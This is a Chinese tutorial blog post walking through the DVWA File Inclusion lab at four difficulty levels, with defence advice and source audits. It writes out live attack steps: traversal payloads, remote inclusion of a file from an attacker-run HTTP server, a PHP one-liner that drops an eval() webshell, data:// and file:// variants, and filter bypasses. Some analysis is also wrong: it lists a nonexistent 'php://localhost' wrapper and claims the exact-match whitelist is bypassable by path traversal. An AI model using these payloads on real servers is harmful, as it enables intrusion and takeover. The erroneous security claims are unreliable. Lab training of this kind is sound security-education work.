门户定制网站建设公司,佛山网站排名提升,佛山网站建设骏域网站建设专家,顶呱呱网站建设是外包的吗File Inclusion#xff08;文件包含#xff09;漏洞 指攻击者通过恶意构造输入#xff0c;利用应用程序错误的文件包含机制#xff0c;导致程序包含并执行未经授权的本地或远程文件。这类漏洞广泛存在于Web应用程序中#xff0c;尤其是在那些允许用户提供文件路径或URL的地… File Inclusion文件包含漏洞 指攻击者通过恶意构造输入利用应用程序错误的文件包含机制导致程序包含并执行未经授权的本地或远程文件。这类漏洞广泛存在于Web应用程序中尤其是在那些允许用户提供文件路径或URL的地方。 1. File Inclusion漏洞类型 File Inclusion漏洞主要分为两种类型 1.1 本地文件包含Local File Inclusion, LFI 本地文件包含漏洞允许攻击者通过恶意构造的路径包含本地服务器上的任意文件进而导致敏感信息泄露甚至远程代码执行。 示例 ?php include($_GET[page]); // 通过GET参数传入页面名称 ? 攻击者可以通过访问如下URL来利用LFI漏洞 http://example.com/index.php?page/etc/passwd 这将导致/etc/passwd文件的内容泄露。若服务器配置不当攻击者还可能通过路径遍历../访问其他敏感文件。 1.2 远程文件包含Remote File Inclusion, RFI 远程文件包含漏洞允许攻击者通过提供远程URL包含并执行远程服务器上的文件。这通常会导致远程代码执行攻击者可以上传恶意脚本并在受害服务器上执行。 示例 ?php include($_GET[page]); // 通过GET参数传入页面名称 ? 如果没有对用户输入进行有效的检查攻击者可以通过以下URL引发远程文件包含 http://example.com/index.php?pagehttp://attacker.com/malicious_file.php 这样远程的malicious_file.php脚本就会被包含并在目标服务器上执行。 2. File Inclusion漏洞的攻击路径 信息泄露 攻击者可以利用LFI漏洞泄露服务器上的敏感信息如密码文件、配置文件等。远程代码执行 如果允许远程文件包含攻击者可以通过上传恶意文件远程执行代码。服务器命令执行 通过将恶意脚本注入并包含到服务器中攻击者可以通过执行命令控制服务器。 3. 防御措施 3.1 严格验证输入 输入验证 始终验证用户输入限制文件路径的范围。可以通过白名单机制来限制可包含的文件路径。禁用URL包含 在PHP等语言中可以通过配置allow_url_include为Off来禁止远程文件包含。 3.2 使用固定路径 避免用户输入直接作为文件路径 如果必须从外部输入文件路径使用固定的目录和文件名避免让攻击者控制文件路径。 3.3 使用文件扩展名白名单 白名单限制文件类型 限制用户输入的文件类型例如只允许.php、.html等预定义的文件。 3.4 禁止执行某些文件 配置Web服务器 禁止在某些目录如上传目录中执行文件防止攻击者上传并执行恶意脚本。 3.5 最小化文件权限 最小权限原则 对Web服务器上的文件进行权限控制确保其只能读取和写入必要的文件避免赋予过高的权限。 4. 检测和漏洞修复 4.1 代码审计 检查include、require等文件包含函数的使用确保没有直接从用户输入读取文件路径。 4.2 使用安全开发框架 使用安全开发框架自动对输入进行严格验证和过滤。 4.3 使用现代的防御技术 配置Web应用防火墙WAF来检测并阻止文件包含漏洞的利用。 靶场启动报错解决 关于DVWA靶场File Inclusion中出现The PHP function allow_url_include is not enabled解决办法_dvwa the php function allow url include is not ena-CSDN博客 漏洞利用前置知识点 在php.ini配置文件里面存在两个配置选项allow_url_include/allow_url_fopen。当这两个配置选项都为On时就可能存在RFI(远程文件包含)如果allow_url_include为Onallow_url_fopen为Off时则存在LFI(本地文件包含)可以执行PHP代码利用PHP伪协议来获得webshell PHP伪协议PHP wrapper protocols是PHP中的一种特殊的协议允许通过自定义的协议访问不同的数据源或文件。例如常见的file://协议用于读取本地文件而php://协议则是PHP特有的协议用于访问PHP内部流或执行某些特定操作。PHP伪协议常被攻击者利用来绕过安全限制、读取敏感信息、或者在服务器上执行恶意代码 伪协议 用途 潜在攻击场景 防御措施 php://input 读取原始POST数据。 攻击者可能通过操控POST数据读取敏感信息。 严格验证和过滤POST数据避免直接使用未验证的输入。 php://filter 文件内容过滤如字符串转化、压缩等。 攻击者可用来绕过过滤或操控文件内容泄露敏感信息。 禁止不必要的文件过滤操作确保过滤链的安全。 php://localhost 本地文件读取可能存在未过滤的路径。 攻击者可利用路径读取服务器上的敏感文件。 禁用或限制此协议的使用确保不允许外部访问本地资源。 php://memory 将数据读入内存。 攻击者可能通过内存注入篡改文件内容或执行恶意代码。 限制该协议的使用范围仅限必要的内存操作。 php://temp 临时文件存储。 攻击者可以注入恶意脚本绕过其他安全措施。 确保对临时文件的权限和内容进行严格控制。 data:// 将数据嵌入URL中传递。 攻击者可以通过构造恶意数据来绕过输入验证。 使用安全的输入验证策略确保对URL数据的严格过滤。 file:// 本地文件系统读取文件。 攻击者通过路径遍历读取敏感文件如/etc/passwd。 禁止直接从用户输入中读取文件路径限制文件路径的访问。 glob:// 列出符合模式的文件。 攻击者可能列出敏感文件进行信息泄露。 只允许列出特定目录中的文件避免敏感目录被列出。 phar:// 读取PHAR文件内容。 攻击者上传恶意PHAR文件通过此协议执行恶意代码。 禁止上传可执行PHAR文件使用白名单机制控制可执行文件。 1low难度下的File Inclusion漏洞利用本地文件包含 1观察靶场环境 2依次点击这三个文件发现是URL栏的链接变动实现了页面切换 http://127.0.0.1/DVWA-master/vulnerabilities/fi/?pagefile1.php http://127.0.0.1/DVWA-master/vulnerabilities/fi/?pagefile2.php http://127.0.0.1/DVWA-master/vulnerabilities/fi/?pagefile2.php 而且只是page后的参数发生变化因此可以通过改变将page后的参数测试有无有无漏洞 2通过hackbar传构造测试payloadhttp://127.0.0.1/DVWA-master/vulnerabilities/fi/?page1.php 可以看到是可以读取这个文件的尽管不存在但还是爆出来了路径 3可以构造payload尝试读取phpinfo.php(通过控制..的用法测试出phpinfo.php的路径)http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page../../phpinfo.php 文件包含漏洞File Inclusion Vulnerability如果应用程序没有对用户输入进行严格验证攻击者可以通过提供恶意的文件路径来包含服务器上的任意文件。../../ 是典型的 路径遍历攻击攻击者试图通过调整文件路径来访问应用服务器的敏感文件例如 phpinfo.php、/etc/passwd、config.php 等。路径遍历攻击当你访问 ?page../../phpinfo.php 时../../ 意味着向上遍历两个目录攻击者希望访问位于服务器其他位置的文件例如 /var/www/html/phpinfo.php。在这个例子中攻击者尝试包含 phpinfo.php以便查看关于服务器和 PHP 环境的敏感信息。 phpinfo.php 是一个非常常见的 PHP 文件用于输出当前 PHP 环境的详细信息包括 PHP 版本、配置选项、加载的模块、环境变量等。这对调试、查看 PHP 配置、安装的扩展、服务器环境等信息非常有帮助。 4这就验证了这个网站存在本地文件包含漏洞如果一个网站仅仅存在本地文件包含漏洞这也仅能够做一些有限的操作 本地文件包含漏洞的局限性 1. 依赖于文件包含机制 LFI 漏洞的存在与否完全依赖于 Web 应用程序是否使用文件包含机制如 PHP 中的 include 或 require。如果应用程序没有使用文件包含操作或者没有暴露可以通过用户输入控制的文件路径那么 LFI 攻击就无法发生。 无文件包含功能的应用如果应用程序没有通过 URL 或其他方式允许用户指定包含的文件则 LFI 漏洞无法发生。只支持特定文件格式或路径许多应用程序会限制可以包含的文件格式如仅允许 .php 文件或者仅允许从特定目录加载文件这限制了攻击者的攻击面。 2. 权限限制 LFI 漏洞的攻击效果在很大程度上取决于服务器的权限设置。如果文件包含操作允许读取文件的范围受到严格限制攻击者的攻击效果会大打折扣。 严格的文件权限如果服务器上的敏感文件如 /etc/passwd、/etc/shadow、应用程序配置文件等只有特定用户或进程可以读取攻击者无法通过 LFI 漏洞直接访问这些文件。PHP 等执行环境的限制许多服务器会在 PHP 配置中禁用文件包含功能或者启用了 open_basedir、safe_mode 等安全设置限制了包含文件的路径和范围从而减少了攻击者通过 LFI 漏洞访问系统文件的能力。 3. 路径遍历的限制 LFI 漏洞常见的攻击方式是通过路径遍历../../来访问上级目录或敏感文件。然而路径遍历攻击的有效性会受到如下因素的限制 输入过滤和路径限制许多 Web 应用程序对输入的文件路径会进行过滤或限制阻止如 ../、..\ 等路径遍历符号的使用。Web 服务器配置Web 服务器如 Apache 或 Nginx通常会限制特定目录例如 document_root 目录之外的文件访问因此即使攻击者能够操纵 page 参数也只能访问到某些受限的文件无法访问整个文件系统。 4. 未能充分利用文件包含漏洞 在某些情况下即使存在 LFI 漏洞攻击者可能无法从中获得足够的信息或控制权尤其是在文件包含操作的实现不符合攻击者的预期时。例如 不能执行代码如果 LFI 漏洞仅允许包含纯文本文件如日志文件或文档文件而不允许执行 PHP 代码攻击者就无法通过包含恶意代码来实现远程代码执行RCE。无法控制文件内容攻击者如果无法上传文件或者无法控制文件的内容例如上传的文件内容被清理或格式化即使可以通过 LFI 包含文件也无法执行恶意代码。 5. 依赖于其他漏洞 LFI 漏洞通常需要配合其他漏洞才能有效利用。例如攻击者可能需要 文件上传漏洞攻击者通过文件上传漏洞上传恶意文件如 PHP 脚本然后利用 LFI 漏洞将其包含并执行。信息泄露漏洞如果攻击者能通过 LFI 获取某些敏感信息如数据库凭证、文件路径、配置信息等他们可能会进一步利用这些信息来发起其他攻击。代码执行漏洞如果 LFI 漏洞本身无法直接导致代码执行攻击者需要利用其他漏洞如跨站脚本攻击、SQL 注入等来获得执行权限。 6. 攻击效果受目标系统配置影响 不同系统和环境的配置可能对 LFI 漏洞的利用造成不同的影响。例如 启用日志文件的 Web 服务器如果 Web 服务器配置允许记录错误信息如 PHP 错误日志并且这些日志文件没有受到足够保护攻击者可能会通过 LFI 访问到这些日志并获取到敏感信息如数据库查询语句、应用程序栈跟踪等。启用 open_basedir 或 chroot 等安全机制的 PHP 环境这些安全机制限制了 PHP 脚本只能访问特定的目录从而有效限制了 LFI 漏洞的攻击范围。即使存在 LFI 漏洞攻击者也无法访问服务器上其他目录的文件。 7. 缺乏恶意载入功能 某些 LFI 漏洞可能不能直接导致恶意文件的加载特别是在缺乏对文件上传、文件内容控制或者执行权限的支持时。攻击者只能读取静态文件无法执行其包含的恶意代码。 总结 虽然 LFI 漏洞具有潜在的严重危害性但它的利用也存在一些局限性包括 依赖文件包含机制LFI 漏洞只有在应用程序支持文件包含并允许用户输入文件路径时才存在。权限限制文件访问权限和执行环境的限制可能会限制攻击者的活动范围。路径遍历限制路径遍历可能会受到过滤或限制导致攻击受阻。需要配合其他漏洞LFI 漏洞常常需要与其他漏洞如文件上传漏洞、信息泄露漏洞等结合使用才能达到更大的攻击效果。系统配置影响Web 服务器和 PHP 环境的安全配置可能会减少 LFI 漏洞的危害。 本地文件包含LFI漏洞的攻击者利用可能造成的主要危害包括 1. 信息泄露 攻击者通过 LFI 漏洞可以访问和读取系统上的敏感文件。常见的泄露文件包括 /etc/passwdLinux 系统这个文件存储了系统的用户账户信息攻击者可以从中获取用户的用户名、UID、GID等。如果结合其他漏洞如密码猜测、暴力破解攻击者可能获得系统的访问权限。Web 应用程序的配置文件比如存储数据库连接信息的配置文件如 config.php、wp-config.php 等其中可能包含数据库用户名、密码、主机名等敏感数据。系统日志文件如果系统日志中记录了敏感操作如数据库错误、应用程序异常等攻击者可以从日志文件中获取信息甚至发现其他潜在漏洞。API 密钥、加密密钥等某些应用程序可能将密钥、证书等敏感数据存储在文件中LFI 漏洞可以被用来读取这些文件从而泄露重要信息。 2. 远程代码执行RCE LFI 漏洞可以进一步利用来实现远程代码执行RCE这通常是攻击者通过上传恶意文件如 PHP 脚本并利用 LFI 漏洞来执行它们的方式。攻击者的目标通常是 上传恶意 PHP 文件攻击者可以通过其他漏洞如文件上传漏洞上传一个包含恶意代码的 PHP 文件。然后通过 LFI 漏洞将这个文件包含到应用程序中进而执行文件中的恶意代码。执行服务器上的恶意脚本攻击者可以构造一个 URL要求服务器包含并执行已经存在的恶意文件或者利用应用程序中的 LFI 漏洞载入服务器上的恶意脚本。 例如攻击者上传一个名为 shell.php 的 PHP 文件然后通过 LFI 漏洞将该文件包含并执行 http://example.com/index.php?pageuploads/shell.php 如果文件被包含并成功执行攻击者就可以通过该文件控制服务器执行任意命令或操作。 3. 本地文件覆盖 在某些情况下LFI 漏洞也可能导致本地文件覆盖。攻击者利用漏洞将恶意代码或脚本写入系统的关键文件中可能会对服务器造成严重破坏。例如 覆盖系统文件攻击者可能将恶意代码写入关键系统文件如 /etc/passwdLinux 用户文件或 Web 服务器的配置文件如 httpd.conf导致系统崩溃或使系统进入无法正常工作状态。覆盖应用程序文件如果应用程序的文件可以被写入攻击者可能通过 LFI 漏洞替换应用程序中的文件从而篡改或破坏应用程序的功能。 4. 路径遍历与敏感文件访问 LFI 漏洞通常允许攻击者进行路径遍历Directory Traversal通过改变文件路径来访问本不应该暴露的文件。例如 访问任意文件攻击者可以通过修改 page 参数来访问 Web 服务器上的任意文件。例如通过路径遍历攻击者可以访问系统上的任意文件如 /etc/shadowLinux 系统中的密码哈希文件。访问其他用户的文件攻击者可以访问存储在系统中其他用户文件夹中的文件甚至获取其他用户的敏感数据。 5. 绕过安全限制 LFI 漏洞还可能被用来绕过某些应用程序的安全限制。例如 绕过输入过滤一些应用程序可能对特定输入进行过滤如防止文件路径包含 ../ 等。但是攻击者可以通过编码或其他技术绕过这些限制依然能达到包含敏感文件的目的。绕过权限检查LFI 漏洞可能被用来绕过某些权限检查直接访问受限制的文件或目录获取不应公开的敏感信息。 总结 LFI 漏洞的危害主要体现在以下几个方面 信息泄露攻击者可以窃取敏感信息如用户数据、数据库凭证、日志文件等。远程代码执行RCE攻击者可以通过上传恶意文件并利用 LFI 漏洞执行代码进而控制服务器。文件覆盖与篡改攻击者可能利用 LFI 漏洞覆盖系统文件或应用程序文件导致服务中断或功能损坏。绕过安全限制通过路径遍历或其他技巧攻击者可能绕过应用的安全机制访问本应受到保护的资源。 1.5low难度下的File Inclusion漏洞利用远程文件包含 经过前面的测试知道存在文件包含漏洞那么还可以测试有无远程文件包含思路就是通过远程文件包含从攻击者搭建的服务器下载恶意的木马文件以获取该网站的webshell 1首先在攻击机kali上写执行远程文件包含的一句话木马然后搭建http服务 ?php fputs(fopen(shell.php,w),?php eval($_POST[pass])?);? python -m http.server 2然后构造文件包含的payloadhttp://127.0.0.1/DVWA-master/vulnerabilities/fi/?pagehttp://192.168.23.140:8000/hack.php 在kali上也能够验证文件包含成功 3然后再使用蚁剑进行连接获得网站的webshell http://127.0.0.1/DVWA-master/vulnerabilities/fi/shell.php 成功获得网站的webshell接下来就可以进一步提权获得服务器的控制权 对low难度的靶场进行源码分析 ?php // The page we wish to display $file $_GET[ page ]; ? 本地文件包含LFI漏洞 由于 $file 变量的值来源于未验证的 $_GET[page] 参数攻击者可以通过修改 URL 参数来指定要加载的文件路径进而访问 Web 服务器的敏感文件。 例如攻击者可以通过访问以下 URL 来读取 /etc/passwd 文件在类 Unix 系统中存储用户信息的文件http://example.com/index.php?page../../../../etc/passwd 通过路径遍历攻击者可以绕过限制并访问服务器上的敏感文件。../../ 表示从当前目录返回到上一级目录多个 ../../ 则可以继续向上遍历目录。信息泄露 如果文件包含机制不加限制攻击者能够访问和查看应用程序的配置文件、日志文件、数据库凭证、系统文件等敏感信息。例如 读取数据库配置文件如 config.php 或 wp-config.php并获取数据库凭证。获取日志文件如 Apache 或 PHP 错误日志其中可能泄露敏感信息例如 SQL 错误信息、路径、用户名、密码等。远程代码执行RCE 如果攻击者能够通过其他方式将恶意代码如 PHP 文件上传到服务器结合本地文件包含漏洞攻击者可以通过 $_GET[page] 参数加载并执行恶意文件。这样攻击者可以执行任意 PHP 代码获取服务器的控制权限。 例如假设攻击者通过其他漏洞上传一个恶意的 PHP 文件例如 shell.php并通过 $_GET[page] 参数加载它http://example.com/index.php?pageuploads/shell.php 如果上传目录可写且 Web 服务器允许执行上传的 PHP 文件攻击者可以通过这种方式执行任意代码。路径遍历攻击 攻击者可以通过构造恶意的 page 参数来利用路径遍历访问服务器上的任意文件。例如http://example.com/index.php?page../../../../etc/hosts 在没有有效的输入验证的情况下这种路径遍历攻击能够让攻击者访问不该公开的文件。 攻击步骤 利用路径遍历读取敏感文件 攻击者构造 URL 来读取 /etc/passwd 文件或其他敏感系统文件。例如http://example.com/index.php?page../../../../etc/passwd 读取用户列表。信息泄露 攻击者可以尝试访问应用程序的配置文件或日志文件提取敏感信息如数据库连接凭据、API 密钥等。执行远程代码 如果存在文件上传漏洞攻击者可以上传 PHP 脚本并通过本地文件包含漏洞执行它。例如通过 page 参数包含恶意的 PHP 文件从而执行远程命令。获取 Web Shell 攻击者可以通过 LFI 加载恶意文件例如一个带有 eval() 函数的 PHP 脚本从而执行传递的 PHP 代码。 二medium难度下的File Inclusion 1依然是熟悉的三个file.php 2构造payload尝试读取phpinfo.php以验证存在文件包含漏洞 http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page../../phpinfo.php 发生了报错说明对目录遍历攻击做了限制 3尝试使用绝对路径能否绕过在目标网站目录结构明了的情况下 payloadhttp://127.0.0.1/DVWA-master/vulnerabilities/fi/?pageD:/phpstudy_pro/WWW/DVWA-master/phpinfo.php 成功实现对限制使用字符串../的绕过 4利用双反斜杠。在 Windows 系统中..\ 可以使用 ..\\ 进行表示因此可以绕过 str_replace 的替换payload..\\..\\phpinfo.php 5使用使用 URL 编码。由于 PHP 会自动解码 URL 编码的字符串攻击者可以尝试 URL 编码字符来绕过过滤。例如%2e%2e%2f 代表 ../%5c 代表反斜杠\。payload%2e%2e%2f%2e%2e%2fphpinfo.php 6混淆绕过的payload..././..././phpinfo.php 7再尝试远程文件包含从攻击机上获取一句话木马首先开启攻击机的http服务 ?php fputs(fopen(shell.php,w),?php eval($_POST[pass])?);? payloadhttp://192.168.23.140:8000/hack.php 发生报错这是对远程文件包含的下载行为做出了限制 8发现能够双写被过滤的字符串进行绕过payload:httphttp://://192.168.23.140:8000/hack.php kali linux上验证也是如此 9接下来就可以使用蚁剑对靶机进行连接获得网站webshell 10第二种方法写一句话木马本地文件包含需要用的data伪协议。payload data://text/plain,?php fputs(fopen(shell.php,w),?php eval($_POST[pass])?);? 代码分解 fopen(shell.php,w): 这行代码用于打开一个名为 shell.php 的文件。如果该文件不存在PHP 会尝试创建它。w 表示写入模式这意味着如果 shell.php 已经存在它会被重写。fputs(...): 这个函数将内容写入文件。它的作用是将第二个参数的内容写入 shell.php 文件中。?php eval($_POST[pass])?: 这部分内容是要写入 shell.php 文件的代码。具体来说它写入的内容是 PHP 代码 ?php eval($_POST[pass])?这段代码会对传入的 POST 请求参数 pass 进行 eval() 执行。eval() 函数是一个非常危险的函数它会执行作为字符串传递给它的 PHP 代码。因此攻击者可以通过向该文件发送包含恶意 PHP 代码的 POST 请求来执行任意的 PHP 代码 经过检验也是能够成功写入的 对medium难度靶场进行源码分析 功能描述 获取 page 参数: 通过 $_GET[page] 获取请求中的 page 参数用于决定需要显示的页面。输入过滤与清理: 第一个 str_replace() 函数从 $file 变量中移除所有 http:// 和 https:// 字符串。这是防止远程文件包含Remote File Inclusion, RFI攻击的一部分避免用户提供远程文件的 URL。第二个 str_replace() 函数移除 ../ 和 ..\\这是防止目录遍历攻击Directory Traversal的一部分防止用户通过 page 参数访问系统的任意文件。 潜在问题与安全分析 尽管这段代码在一定程度上进行了输入验证但它并没有完全确保安全性。以下是具体的分析 1. 不完整的输入验证 — 目录遍历漏洞 代码中虽然移除了 ../ 和 ..\\防止了部分常见的目录遍历攻击但并没有考虑其他变种的目录遍历。例如攻击者可以使用 URL 编码来绕过这些验证。 比如攻击者可以构造如下的 URL page..%2F..%2Fetc%2Fpasswd 这将被解码为 ../../etc/passwd并可能允许攻击者读取系统上的敏感文件如 /etc/passwd。改进建议需要增加更多的安全过滤考虑对 URL 编码和其他潜在的攻击方式进行解码后处理或者直接使用白名单来验证合法的页面名称。 2. 没有明确的文件扩展名限制 该代码没有对 $file 变量指定文件扩展名的限制。例如如果 $file 是一个用户可控的参数攻击者可以指定任何文件类型包括 PHP 文件。 如果攻击者能够通过 page 参数提供一个带有 .php 后缀的文件并且该文件位于允许的目录中攻击者可能会注入恶意 PHP 代码。改进建议强制对 $file 参数进行限制确保它只能指向某个特定目录下的合法静态文件如 HTML、PHP 文件并且最好是指定一个固定的扩展名例如 .php 或 .html。 3. 潜在的本地文件包含漏洞Local File Inclusion, LFI 代码没有对 $file 进行严格的检查仅仅移除了 http:// 和 https://以及 ../ 和 ..\\。这意味着如果攻击者提供了文件名可以访问服务器上的其他文件尤其是在没有正确配置服务器权限时。 例如攻击者可能构造如下请求 page../../../../../etc/passwd 如果服务器的文件系统允许此类访问并且存在路径穿越漏洞攻击者将能够读取敏感文件如 /etc/passwd。改进建议使用白名单来限制 $file 参数只允许访问某个特定目录中的文件。可以通过验证文件路径是否在允许的目录范围内来防止访问敏感文件。 4. 未对文件内容做检查 代码并没有对 $file 变量的值进行检查是否是一个合法的文件。一个潜在的攻击者可以通过提供一个经过编码的文件路径或者其他恶意的文件名来尝试加载不被授权的文件。改进建议在加载文件之前确保检查文件的存在性和合法性。可以使用 realpath() 函数获取文件的绝对路径并确认它是否在一个受信任的目录内。 5. 缺少日志记录和监控 如果该代码中存在潜在的安全漏洞如文件包含漏洞并且攻击者尝试利用该漏洞时没有明确的日志记录和监控可能导致漏洞被滥用而不被发现。改进建议在安全敏感的操作如文件加载中添加日志记录以便能够检测到异常访问行为。比如日志记录任何非法的文件加载尝试。 改进建议 加强输入验证: 过滤掉 ../ 和 ..\\ 之外的其他路径穿越攻击如 URL 编码、%2E%2E/ 等。采用正则表达式或白名单方法来验证 $file 参数确保它只包含安全的字符集并限制文件的路径和扩展名。限制文件扩展名: 强制对文件类型进行检查确保 $file 参数只能指向特定的文件类型例如 .html 或 .php并且应该明确限制文件必须存在于特定的目录下。使用白名单: 使用白名单方式确保 $file 只能指向预定义的合法文件。例如可以将允许加载的文件名存储在数组或数据库中所有用户请求的文件都必须出现在这个列表中。路径检查: 使用 realpath() 等函数获取文件的绝对路径确保文件不在外部目录或系统敏感目录中。加强日志记录和监控: 监控用户的请求特别是异常的 page 参数记录所有的非法文件访问尝试及时发现和响应潜在的攻击。 三high难度下的File Inclusion 1high难度下时之前一些比较常见的漏洞利用payload应该都失效了payload:../../phpinfo.php 2绝对路径绕过也不行尝试其他绕过手段。比如利用file伪协议读取本地文件payloadfile://D:/phpstudy_pro/WWW/DVWA-master/phpinfo.php 绕过成功说明该靶场的配置文件没有对伪协议file://进行过滤拦截 3尝试本地文件包含利用data伪协议写一句话木马 data://text/plain,?php fputs(fopen(shell.php,w),?php eval($_POST[pass])?);? 没有成功说明过滤限制了data伪协议 4测试远程文件包含漏洞利用http伪协议从攻击机kali上面下载一句话木马。payloadhttp:192.168.23.140:8000/hack.php 5依然失败那么这个时候文件包含的利用方式就大打折扣只能使用file伪协议从本地计算机获取一句话木马 ?php fputs(fopen(shell.php,w),?php eval($_POST[pass])?);? payloadfile://D:/phpstudy_pro/shell.php 读取成功接下来就可以使用蚁剑进行连接了 6在实际渗透测试中如只允许本地文件包含的情况下一般要和任意文件上传漏洞结合。例如攻击者在某某目录传了入了恶意文件而目标服务器正好有一个网站存在本地文件包含漏洞那么就可以使用伪协议file://对上传的恶意文件进行包含 对high难度下源码进行代码审计分析其安全机制 ?php // The page we wish to display $file $_GET[ page ]; // Input validation if( !fnmatch( file*, $file ) $file ! include.php ) { // This isnt the page we want! echo ERROR: File not found!; exit; } ? 1. 漏洞概述 代码的目的是基于URL中的 page 参数来加载某个文件。但存在几个潜在的安全问题特别是与 文件包含File Inclusion漏洞 和 输入验证不足 相关。 2. 问题分析 A. $_GET[page] 的不安全使用 $file $_GET[page]; 这段代码从 URL 获取 page 参数值后续没有对其进行足够严格的检查和过滤。如果攻击者可以控制 page 参数的值他们就可能通过该参数进行恶意操作。 B. 不充分的输入验证fnmatch 和硬编码检查 if( !fnmatch( file*, $file ) $file ! include.php ) { fnmatch( file*, $file )该函数会检查 $file 是否符合某个模式以 file 开头。虽然表面上看它限制了只允许以 file 开头的文件名但如果文件名包含有害字符如路径分隔符、相对路径 ../ 等攻击者仍然可以绕过这个检查。 $file ! include.php仅允许 include.php 作为额外的例外。然而这只是硬编码的一个文件名其他安全性较低的文件依然有可能被包含。 C. 潜在的文件包含漏洞 虽然代码在某种程度上做了限制但依然有潜在的路径遍历漏洞。攻击者可以通过特制的输入值例如 ../../etc/passwd来尝试读取服务器上的其他文件。 fnmatch 在这段代码中的作用有限攻击者可以尝试使用 URL 编码或路径绕过技巧绕过该限制。如果攻击者能够控制 $file 的值且没有更严格的文件路径限制可能会导致 本地文件包含LFI 漏洞。 四impossible难度下的File Inclusion 对impossiable难度的靶场进行代码审计分析其安全机制 ?php // The page we wish to display $file $_GET[ page ]; // Only allow include.php or file{1..3}.php if( $file ! include.php $file ! file1.php $file ! file2.php $file ! file3.php ) { // This isnt the page we want! echo ERROR: File not found!; exit; } ? 1. 代码功能概述 这段代码根据传入的 $_GET[page] 参数决定要加载的文件。它的主要目标是通过简单的条件判断限制加载特定文件防止加载其他文件。具体的逻辑是 如果 $_GET[page] 的值为 include.php 或者 file1.php、file2.php、file3.php则允许加载该文件。否则输出错误信息并终止脚本执行。 2安全机制分析 输入验证 代码通过if语句检查$file的值是否为预定义的四个文件名之一。这种硬编码的检查方式可以防止用户加载未授权的文件。错误处理 如果$file的值不在允许列表中代码会输出“ERROR: File not found!”并调用exit函数终止脚本执行防止进一步的文件操作。 3潜在安全风险 文件包含漏洞 尽管代码对$file进行了硬编码的检查但如果攻击者能够绕过这些检查例如通过路径遍历攻击他们仍然可能加载任意文件。例如攻击者可以通过传递类似../../etc/passwd的值来尝试访问系统文件。逻辑缺陷 代码仅检查了文件名的字面值而没有考虑文件路径。如果$file包含路径信息如/path/to/file.php 代码将无法正确处理可能导致安全漏洞。 改进建议 使用白名单路径 除了检查文件名外还应确保文件路径在预定义的目录内。例如可以使用basename()函数去除路径信息或者使用realpath()函数验证文件是否在允许的目录中。避免直接使用用户输入 可以考虑使用一个映射数组来将用户输入映射到实际的文件路径而不是直接使用$_GET[page]的值。这样可以更好地控制允许加载的文件。日志记录与监控 记录所有文件加载操作并监控异常行为。这有助于及时发现并应对潜在的攻击尝试。